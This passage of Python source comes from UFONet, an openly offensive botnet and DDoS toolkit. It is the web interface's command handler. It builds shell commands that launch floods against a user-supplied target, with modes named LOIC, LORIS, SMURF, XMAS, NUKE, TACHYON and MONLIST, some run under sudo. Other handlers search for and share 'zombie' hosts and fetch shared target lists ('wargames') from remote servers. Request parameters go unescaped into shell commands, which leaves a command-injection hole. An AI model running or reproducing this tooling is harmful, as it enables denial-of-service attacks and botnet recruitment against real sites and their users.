  3373. self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  3374. if page == "/cmd_view_army":
  3375. if pGet=={}:
  3376. self.pages["/cmd_view_army"] = self.html_army_map()
  3377. if page == "/cmd_view_attack":
  3378. if 'target' in list(pGet.keys()) != None:
  3379. self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
  3380. if page == "/cmd_test_army":
  3381. self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
  3382. runcmd = "("+python_version+" -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
  3383. if page == "/cmd_test_all":
  3384. self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
  3385. runcmd = "("+python_version+" -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
  3386. if page == "/cmd_test_offline":
  3387. self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
  3388. runcmd = "("+python_version+" -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
  3389. if page == "/cmd_attack_me":
  3390. self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
  3391. runcmd = "("+python_version+" -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
  3392. if page == "/cmd_attack_me_update":
  3393. if not os.path.exists('/tmp/out'):
  3394. open('/tmp/out', 'w').close()
  3395. with open('/tmp/out', 'r') as f:
  3396. self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
  3397. if page == "/cmd_download_community":
  3398. self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
  3399. runcmd = "("+python_version+" -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
  3400. if page == "/cmd_download_community_update":
  3401. if not os.path.exists('/tmp/out'):
  3402. open('/tmp/out', 'w').close()
  3403. with open('/tmp/out', 'r') as f:
  3404. self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
  3405. if page == "/cmd_upload_community":
  3406. self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
  3407. runcmd = "("+python_version+" -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
  3408. if page == "/cmd_upload_community_update":
  3409. if not os.path.exists('/tmp/out'):
  3410. open('/tmp/out', 'w').close()
  3411. with open('/tmp/out', 'r') as f:
  3412. self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
  3413. if page == "/cmd_test_army_update":
  3414. if not os.path.exists('/tmp/out'):
  3415. open('/tmp/out', 'w').close()
  3416. with open('/tmp/out', 'r') as f:
  3417. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  3418. if page == "/cmd_test_all_update":
  3419. if not os.path.exists('/tmp/out'):
  3420. open('/tmp/out', 'w').close()
  3421. with open('/tmp/out', 'r') as f:
  3422. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  3423. if page == "/cmd_test_offline_update":
  3424. if not os.path.exists('/tmp/out'):
  3425. open('/tmp/out', 'w').close()
  3426. with open('/tmp/out', 'r') as f:
  3427. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  3428. if page == "/cmd_test_rpcs":
  3429. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  3430. runcmd = "("+python_version+" -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  3431. if page == "/cmd_test_rpcs_update":
  3432. if not os.path.exists('/tmp/out'):
  3433. open('/tmp/out', 'w').close()
  3434. with open('/tmp/out', 'r') as f:
  3435. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  3436. if page == "/cmd_attack":
  3437. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  3438. cmd = ""
  3439. flag_ufosyn = None
  3440. flag_spray = None
  3441. flag_smurf = None
  3442. flag_xmas = None
  3443. flag_nuke = None
  3444. flag_tachyon = None
  3445. flag_monlist = None
  3446. nonroot_cmd = "("+python_version+" -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  3447. root_cmd = "(sudo "+python_version+" -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  3448. end_cmd = ""+cmd_options + "|tee /tmp/out) &"
  3449. if pGet["dbstress"]:
  3450. cmd += "--db '" +str(pGet["dbstress"])+ "' "
  3451. if pGet["loic"]:
  3452. cmd += "--loic '" +str(pGet["loic"])+ "' "
  3453. if pGet["loris"]:
  3454. cmd += "--loris '" +str(pGet["loris"])+ "' "
  3455. if pGet["ufosyn"]:
  3456. cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
  3457. flag_ufosyn = True
  3458. if pGet["spray"]:
  3459. cmd += "--spray '" +str(pGet["spray"])+ "' "
  3460. flag_spray = True
  3461. if pGet["smurf"]:
  3462. cmd += "--smurf '" +str(pGet["smurf"])+ "' "
  3463. flag_smurf = True
  3464. if pGet["xmas"]:
  3465. cmd += "--xmas '" +str(pGet["xmas"])+ "' "
  3466. flag_xmas = True
  3467. if pGet["nuke"]:
  3468. cmd += "--nuke '" +str(pGet["nuke"])+ "' "
  3469. flag_nuke = True
  3470. if pGet["tachyon"]:
  3471. cmd += "--tachyon '" +str(pGet["tachyon"])+ "' "
  3472. flag_tachyon = True
  3473. if pGet["monlist"]:
  3474. cmd += "--monlist '" +str(pGet["monlist"])+ "' "
  3475. flag_monlist = True
  3476. if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  3477. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  3478. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True:
  3479. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST)
  3480. runcmd = cmd + end_cmd
  3481. if page == "/cmd_attack_update":
  3482. if not os.path.exists('/tmp/out'):
  3483. open('/tmp/out', 'w').close()
  3484. with open('/tmp/out', 'r') as f:
  3485. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  3486. if page == "/cmd_inspect":
  3487. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  3488. target = pGet["target"]
  3489. target=urllib.parse.unquote(target)
  3490. runcmd = "("+python_version+" -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  3491. if page == "/cmd_inspect_update":
  3492. if not os.path.exists('/tmp/out'):
  3493. open('/tmp/out', 'w').close()
  3494. with open('/tmp/out', 'r') as f:
  3495. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  3496. if page == "/cmd_abduction":
  3497. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  3498. target = pGet["target"]
  3499. target=urllib.parse.unquote(target)
  3500. runcmd = "("+python_version+" -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  3501. if page == "/cmd_abduction_update":
  3502. if not os.path.exists('/tmp/out'):
  3503. open('/tmp/out', 'w').close()
  3504. with open('/tmp/out', 'r') as f:
  3505. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  3506. if page == "/cmd_search":
  3507. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  3508. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  3509. if pGet["all_engines"] == "on": # search using all search engines (and exclude those set by the user)
  3510. if pGet["exclude_engines"]:
  3511. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  3512. else:
  3513. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  3514. else: # search using a search engine
  3515. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  3516. else: # search using a pattern
  3517. if pGet["autosearch"] == "on": # search using auto-search mod
  3518. if pGet["exclude_engines"]:
  3519. runcmd = "("+python_version+" -i ufonet --auto-search '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  3520. else:
  3521. runcmd = "("+python_version+" -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  3522. else:
  3523. if pGet["all_engines"] == "on": # search using all search engines
  3524. if pGet["exclude_engines"]:
  3525. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  3526. else:
  3527. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  3528. else: # search using a search engine
  3529. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  3530. if page == "/cmd_search_update":
  3531. if not os.path.exists('/tmp/out'):
  3532. open('/tmp/out', 'w').close()
  3533. with open('/tmp/out', 'r') as f:
  3534. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  3535. if page == "/cmd_refresh_blackholes":
  3536. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3537. blackhole_ip = pGet["blackholes_source"]
  3538. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3539. try:
  3540. blackholes = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read().decode('utf-8')
  3541. f = open(self.blackholes, "w") # write updates to nodes.dat
  3542. f.write(blackholes)
  3543. f.close()
  3544. self.blackholes_text = blackholes
  3545. except:
  3546. blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3547. end_mark = "\n[Info] [AI] End of blackholes list (nodes.dat). -> [Refreshing!]"
  3548. f = open("/tmp/out", "w")
  3549. f.write(str(blackholes))
  3550. f.write(end_mark)
  3551. f.close()
  3552. if page == "/cmd_refresh_blackholes_update":
  3553. if not os.path.exists('/tmp/out'):
  3554. open('/tmp/out', 'w').close()
  3555. with open('/tmp/out', 'r') as f:
  3556. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  3557. if page == "/cmd_refresh_news":
  3558. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3559. blackhole_ip = pGet["news_source"]
  3560. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3561. try:
  3562. news = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read().decode('utf-8')
  3563. f = open(self.news, "w") # write updates to news.txt
  3564. f.write(news)
  3565. f.close()
  3566. self.news_text = news
  3567. except:
  3568. news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  3569. end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
  3570. f = open("/tmp/out", "w")
  3571. f.write(str(news))
  3572. f.write(end_mark)
  3573. f.close()
  3574. if page == "/cmd_refresh_news_update":
  3575. if not os.path.exists('/tmp/out'):
  3576. open('/tmp/out', 'w').close()
  3577. with open('/tmp/out', 'r') as f:
  3578. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  3579. if page == "/cmd_sync_wargames":
  3580. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3581. blackhole_ip = pGet["wargames_source"]
  3582. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3583. try:
  3584. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  3585. f = open(self.wargames_file, "w") # write updates to wargames.txt
  3586. f.write(wargames)
  3587. f.close()
  3588. self.wargames_text = wargames
  3589. except:
  3590. wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3591. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3592. f = open("/tmp/out", "w")
  3593. f.write(str(wargames))
  3594. f.write(end_mark)
  3595. f.close()
  3596. if page == "/cmd_sync_wargames_update":
  3597. if not os.path.exists('/tmp/out'):
  3598. open('/tmp/out', 'w').close()
  3599. with open('/tmp/out', 'r') as f:
  3600. stream = f.read()
  3601. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  3602. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  3603. if page == "/cmd_sync_links":
  3604. self.pages["/cmd_sync_links"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3605. blackhole_ip = pGet["link_source"]
  3606. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3607. try:
  3608. links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
  3609. f = open(self.links_file, "w") # write updates to links.txt
  3610. f.write(links)
  3611. f.close()
  3612. self.links_text = links
  3613. except:
  3614. links = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3615. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3616. f = open("/tmp/out", "w")
  3617. f.write(str(links))
  3618. f.write(end_mark)
  3619. f.close()
  3620. if page == "/cmd_sync_links_update":
  3621. if not os.path.exists('/tmp/out'):
  3622. open('/tmp/out', 'w').close()
  3623. with open('/tmp/out', 'r') as f:
  3624. stream = f.read()
  3625. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  3626. self.pages["/cmd_sync_links_update"] = "<pre>"+stream+"<pre>"
  3627. if page == "/cmd_sync_globalnet":
  3628. self.pages["/cmd_sync_globalnet"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3629. blackhole_ip = pGet["globalnet_source"]
  3630. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3631. try:
  3632. globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
  3633. f = open(self.globalnet_file, "w") # write updates to globalnet.txt
  3634. f.write(globalnet)
  3635. f.close()
  3636. self.globalnet_text = globalnet
  3637. except:
  3638. globalnet = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3639. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3640. f = open("/tmp/out", "w")
  3641. f.write(str(globalnet))
  3642. f.write(end_mark)
  3643. f.close()
  3644. if page == "/cmd_sync_globalnet_update":
  3645. if not os.path.exists('/tmp/out'):
  3646. open('/tmp/out', 'w').close()
  3647. with open('/tmp/out', 'r') as f:
  3648. stream = f.read()
  3649. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  3650. self.pages["/cmd_sync_globalnet_update"] = "<pre>"+stream+"<pre>"
  3651. if page == "/cmd_sync_streams":
  3652. self.pages["/cmd_sync_streams"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3653. blackhole_ip = pGet["stream_source"]
  3654. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3655. try:
  3656. streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
  3657. f = open(self.streams_file, "w") # write updates to streams.txt
  3658. f.write(streams)
  3659. f.close()
  3660. self.streams_text = streams
  3661. except:
  3662. streams = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3663. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3664. f = open("/tmp/out", "w")
  3665. f.write(str(streams))
  3666. f.write(end_mark)
  3667. f.close()
  3668. if page == "/cmd_sync_streams_update":
  3669. if not os.path.exists('/tmp/out'):
  3670. open('/tmp/out', 'w').close()
  3671. with open('/tmp/out', 'r') as f:
  3672. stream = f.read()
  3673. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  3674. self.pages["/cmd_sync_streams_update"] = "<pre>"+stream+"<pre>"
  3675. if page == "/cmd_refresh_missions":
  3676. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3677. blackhole_ip = pGet["missions_source"]
  3678. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3679. try:
  3680. missions = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read().decode('utf-8')
  3681. f = open(self.missions, "w") # write updates to missions.txt
  3682. f.write(missions)
  3683. f.close()
  3684. self.missions_text = missions
  3685. except:
  3686. missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3687. end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
  3688. f = open("/tmp/out", "w")
  3689. f.write(str(missions))
  3690. f.write(end_mark)
  3691. f.close()
  3692. if page == "/cmd_refresh_missions_update":
  3693. if not os.path.exists('/tmp/out'):
  3694. open('/tmp/out', 'w').close()
  3695. with open('/tmp/out', 'r') as f:
  3696. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  3697. if page == "/cmd_refresh_ranking":
  3698. self.pages["/cmd_refresh_ranking"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3699. ranking_ip = pGet["ranking_source"]
  3700. ranking_ip = urllib.parse.unquote(ranking_ip)
  3701. try:
  3702. ranking = urllib.request.urlopen('http://'+ranking_ip+'/ufonet/grid.txt').read().decode('utf-8')
  3703. f = open(self.grid_file, "w") # write updates to grid.txt
  3704. f.write(ranking)
  3705. f.close()
  3706. self.ranking_text = ranking
  3707. except:
  3708. ranking = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3709. end_mark = "\n[Info] [AI] End of ranking feed. -> [Refreshing!]"
  3710. f = open("/tmp/out", "w")
  3711. f.write(str(ranking))
  3712. f.write(end_mark)
  3713. f.close()
  3714. if page == "/cmd_refresh_ranking_update":
  3715. if not os.path.exists('/tmp/out'):
  3716. open('/tmp/out', 'w').close()
  3717. with open('/tmp/out', 'r') as f:
  3718. self.pages["/cmd_refresh_ranking_update"] = "<pre>"+f.read()+"<pre>"
  3719. if page == "/cmd_sync_grid":
  3720. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3721. blackhole_ip = pGet["grid_source"]
  3722. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3723. try:
  3724. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  3725. f = open(self.grid_file, "w") # write updates to grid.txt
  3726. f.write(grid)
  3727. f.close()
  3728. self.grid_text = grid
  3729. except:
  3730. grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3731. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3732. f = open("/tmp/out", "w")
  3733. f.write(str(grid))
  3734. f.write(end_mark)
  3735. f.close()
  3736. if page == "/cmd_sync_grid_update":
  3737. if not os.path.exists('/tmp/out'):
  3738. open('/tmp/out', 'w').close()
  3739. with open('/tmp/out', 'r') as f:
  3740. stream = f.read()
  3741. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  3742. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  3743. if page == "/cmd_job_remove":
  3744. self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
  3745. try:
  3746. job_id = pGet["id"]
  3747. except:
  3748. job_id = ""
  3749. if job_id is not "":
  3750. self.list_wargames.reverse()
  3751. try:
  3752. job_task = self.list_wargames[(int(job_id)-1)]
  3753. f = open(self.wargames_file,"r")
  3754. ls = f.readlines()
  3755. f.close()
  3756. f = open(self.wargames_file,"w")
  3757. for l in ls:
  3758. if str(l) != str(job_task):
  3759. f.write(l)
  3760. f.close()
  3761. except:
  3762. pass
  3763. if page == "/cmd_job_remove_update":
  3764. if not os.path.exists('/tmp/out'):
  3765. open('/tmp/out', 'w').close()
  3766. with open('/tmp/out', 'r') as f:
  3767. self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
  3768. if page == "/cmd_job_remove_all":
  3769. self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
  3770. try:
  3771. key_params = pGet["key"]
  3772. sep = ","
  3773. key = key_params.rsplit(sep, 1)[0]
  3774. except:
  3775. key = ""
  3776. if key is not "":
  3777. try:
  3778. self.list_wargames.reverse()
  3779. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  3780. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  3781. f = open(self.wargames_file,"r")
  3782. ls = f.readlines()
  3783. f.close()
  3784. f = open(self.wargames_file,"w")
  3785. sep = wargames_msg_sep
  3786. for l in ls:
  3787. job_estimated = l.rsplit(sep, 1)[1]
  3788. self.decrypt(key, job_estimated)
  3789. if self.decryptedtext:
  3790. job_estimated = self.decryptedtext
  3791. else:
  3792. job_estimated = now
  3793. self.decryptedtext = ""
  3794. job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
  3795. if (now >= job_estimated) == False: # -ONGOING-
  3796. f.write(l)
  3797. f.close()
  3798. except:
  3799. pass
  3800. if page == "/cmd_job_remove_all_update":
  3801. if not os.path.exists('/tmp/out'):
  3802. open('/tmp/out', 'w').close()
  3803. with open('/tmp/out', 'r') as f:
  3804. self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
  3805. if page == "/cmd_edit_supply":
  3806. self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
  3807. try:
  3808. supply_botnet = pGet["botnet"]
  3809. supply_loic = pGet["loic"]
  3810. supply_loris = pGet["loris"]
  3811. supply_ufosyn = pGet["ufosyn"]
  3812. supply_spray = pGet["spray"]
  3813. supply_smurf = pGet["smurf"]
  3814. supply_xmas = pGet["xmas"]
  3815. supply_nuke = pGet["nuke"]
  3816. supply_tachyon = pGet["tachyon"]
  3817. supply_monlist = pGet["monlist"]
  3818. except: # default global supply army
  3819. supply_botnet = 1
  3820. supply_loic = 0
  3821. supply_loris = 0
  3822. supply_ufosyn = 0
  3823. supply_spray = 0
  3824. supply_smurf = 0
  3825. supply_xmas = 0
  3826. supply_nuke = 0
  3827. supply_tachyon = 0
  3828. supply_monlist = 0
  3829. with open(self.mothership_supplycfg_file, "w") as f:
  3830. json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist}, f, indent=4)
  3831. if page == "/cmd_job_add":
  3832. self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
  3833. try:
  3834. job_params = pGet["id"]
  3835. sep = ","
  3836. job_id = job_params.rsplit(sep, 1)[0]
  3837. except:
  3838. job_id = ""
  3839. if job_id is not "":
  3840. self.list_wargames.reverse()
  3841. try:
  3842. job_task = self.list_wargames[(int(job_id)-1)]
  3843. f = open(self.wargames_file,"r")
  3844. ls = f.readlines()
  3845. f.close()
  3846. f = open(self.wargames_file,"w")
  3847. sep = wargames_msg_sep
  3848. for l in ls:
  3849. if str(l) != str(job_task):
  3850. f.write(l)
  3851. else:
  3852. job_t2 = job_task.rsplit(sep, 1)[0]
  3853. job_creation = job_t2.rsplit(sep, 1)[0]
  3854. job_target = job_t2.rsplit(sep, 1)[1]
  3855. job_estimated = job_task.rsplit(sep, 1)[1]
  3856. l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
  3857. f.write(l)
  3858. f.close()
  3859. except:
  3860. pass
  3861. if page == "/cmd_job_add_update":
  3862. if not os.path.exists('/tmp/out'):
  3863. open('/tmp/out', 'w').close()
  3864. with open('/tmp/out', 'r') as f:
  3865. self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
  3866. if page == "/cmd_job_add_all":
  3867. self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
  3868. try:
  3869. self.list_wargames.reverse()
  3870. f = open(self.wargames_file,"r")
  3871. ls = f.readlines()
  3872. f.close()
  3873. f = open(self.wargames_file,"w")
  3874. sep = wargames_msg_sep
  3875. for l in ls:
  3876. job_t2 = l.rsplit(sep, 1)[0]
  3877. job_creation = job_t2.rsplit(sep, 1)[0]
  3878. job_target = job_t2.rsplit(sep, 1)[1]
  3879. job_estimated = l.rsplit(sep, 1)[1]
  3880. if not "!!!" in job_target:
  3881. l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated)
  3882. else:
  3883. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  3884. f.write(l)
  3885. f.close()
  3886. except:
  3887. pass
  3888. if page == "/cmd_job_add_all_update":
  3889. if not os.path.exists('/tmp/out'):
  3890. open('/tmp/out', 'w').close()
  3891. with open('/tmp/out', 'r') as f:
  3892. self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
  3893. if page == "/cmd_job_cancel":
  3894. self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
  3895. try:
  3896. job_params = pGet["id"]
  3897. sep = ","
  3898. job_id = job_params.rsplit(sep, 1)[0]
  3899. except:
  3900. job_id = ""
  3901. if job_id is not "":
  3902. self.list_wargames.reverse()
  3903. try:
  3904. job_task = self.list_wargames[(int(job_id)-1)]
  3905. f = open(self.wargames_file,"r")
  3906. ls = f.readlines()
  3907. f.close()
  3908. f = open(self.wargames_file,"w")
  3909. for l in ls:
  3910. if str(l) != str(job_task):
  3911. f.write(l)
  3912. else:
  3913. sep = wargames_msg_sep
  3914. job_t2 = job_task.rsplit(sep, 1)[0]
  3915. job_creation = job_t2.rsplit(sep, 1)[0]
  3916. job_target = job_t2.rsplit(sep, 1)[1]
  3917. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  3918. job_estimated = job_task.rsplit(sep, 1)[1]
  3919. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  3920. f.write(l)
  3921. f.close()
  3922. except:
  3923. pass
  3924. if page == "/cmd_job_cancel_update":
  3925. if not os.path.exists('/tmp/out'):
  3926. open('/tmp/out', 'w').close()
  3927. with open('/tmp/out', 'r') as f:
  3928. self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
  3929. if page == "/cmd_job_cancel_all":
  3930. self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
  3931. try:
  3932. self.list_wargames.reverse()
  3933. f = open(self.wargames_file,"r")
  3934. ls = f.readlines()
  3935. f.close()
  3936. f = open(self.wargames_file,"w")
  3937. sep = wargames_msg_sep
  3938. for l in ls:
  3939. job_t2 = l.rsplit(sep, 1)[0]
  3940. job_creation = job_t2.rsplit(sep, 1)[0]
  3941. job_target = job_t2.rsplit(sep, 1)[1]
  3942. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  3943. job_estimated = l.rsplit(sep, 1)[1]
  3944. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  3945. f.write(l)
  3946. f.close()
  3947. except:
  3948. pass
  3949. if page == "/cmd_job_cancel_all_update":
  3950. if not os.path.exists('/tmp/out'):
  3951. open('/tmp/out', 'w').close()
  3952. with open('/tmp/out', 'r') as f:
  3953. self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
  3954. if page == "/cmd_job_filter":
  3955. try:
  3956. job_filter = pGet["filter"]
  3957. job_key = pGet["key"]
  3958. except:
  3959. job_filter = "creation"
  3960. job_key = str(self.crypto_key)
  3961. self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
  3962. nodec_text = "KEY?"
  3963. try:
  3964. wargames_items=[]
  3965. with open(self.wargames_file) as f:
  3966. ls = f.read().splitlines()
  3967. f.close()
  3968. f = open(self.wargames_file,"w")
  3969. for j in ls:
  3970. if wargames_msg_sep in j:
  3971. m = j.split(wargames_msg_sep)
  3972. wargames_creation = m[0] # creation date
  3973. self.decrypt(job_key, wargames_creation)
  3974. if self.decryptedtext:
  3975. wargames_creation = self.decryptedtext
  3976. else:
  3977. wargames_creation = nodec_text
  3978. self.decryptedtext = "" # clean decryptedtext buffer
  3979. wargames_target = m[1] # target
  3980. self.decrypt(job_key, wargames_target)
  3981. if self.decryptedtext:
  3982. wargames_target = self.decryptedtext
  3983. if wargames_target.startswith("www."):
  3984. wargames_target = wargames_target.replace("www.","")
  3985. else:
  3986. wargames_target = nodec_text
  3987. self.decryptedtext = "" # clean decryptedtext buffer
  3988. wargames_estimated = m[2] # estimated date
  3989. self.decrypt(job_key, wargames_estimated)
  3990. if self.decryptedtext:
  3991. wargames_estimated = self.decryptedtext
  3992. else:
  3993. wargames_estimated = nodec_text
  3994. self.decryptedtext = "" # clean decryptedtext buffer
  3995. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
